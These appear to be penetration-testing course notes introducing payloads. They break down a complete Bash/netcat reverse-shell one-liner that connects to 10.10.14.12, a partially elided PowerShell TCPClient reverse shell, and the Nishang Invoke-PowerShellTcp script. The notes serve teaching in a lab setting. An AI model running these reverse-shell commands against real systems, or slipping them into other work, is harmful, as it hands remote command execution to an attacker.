Introduction to Payloads

Here are your notes on “Introduction to Payloads” — broken down, simplified, and easy to revise 📘💡

---

🔐 What Is a Payload?

• In cybersecurity, a payload is the actual code/command delivered to a system to exploit it.

• It executes a specific action (e.g., open a shell, steal data).

• It can be blocked by defenses like antivirus (e.g., Windows Defender).

• Think of it like the message in an email — it's what gets delivered and executed.

---

💣 Bash/Netcat Reverse Shell One-Liner Breakdown

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f

Step-by-step:

1. rm -f /tmp/f; → Removes the FIFO file if it exists.

2. mkfifo /tmp/f; → Creates a named pipe (FIFO).

3. cat /tmp/f | → Reads from the pipe.

4. /bin/bash -i 2>&1 | → Interactive Bash, redirects stderr to stdout.

5. nc 10.10.14.12 7777 > /tmp/f → Opens connection to attacker, sends output to the pipe.

📌 Used on Linux to get a reverse shell via Netcat.

---

🧠 PowerShell Reverse Shell One-Liner Breakdown

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443); ... $client.Close()"

Step-by-step:

1. powershell -nop -c → Runs PowerShell with no profile and executes command.

2. $client = ...TCPClient(IP, Port); → Creates a TCP socket to attacker's IP.

3. $stream = $client.GetStream(); → Opens stream for communication.

4. [byte[]]$bytes = 0..65535|%{0}; → Creates an empty byte array.

5. while(...) → Listens for incoming commands.

6. GetString(...) → Converts bytes to readable text.

7. iex $data → Executes the received command (Invoke-Expression).

8. Out-String → Converts output to string.

9. Get-Location → Returns the prompt (e.g., PS C:>).

10. GetBytes(...) → Encodes output to send back.

11. $stream.Write(...) → Sends data back to attacker.

12. $client.Close() → Closes the connection.

📌 Used on Windows for reverse shells via PowerShell.

---

🧰 PowerShell TCP Shell Script Example (Nishang)

• Invoke-PowerShellTcp is a function/script for reverse or bind shells.

• Parameters:

  • -Reverse: connects to the attacker.

  • -Bind: listens for incoming connection.

• Based on .NET TCPClient and TCPListener.

• Automates reverse/bind connections for penetration testers.

🧩 Links to:

• Nishang repo: https://github.com/samratashok/nishang
• Original post: labofapenetrationtester.com

---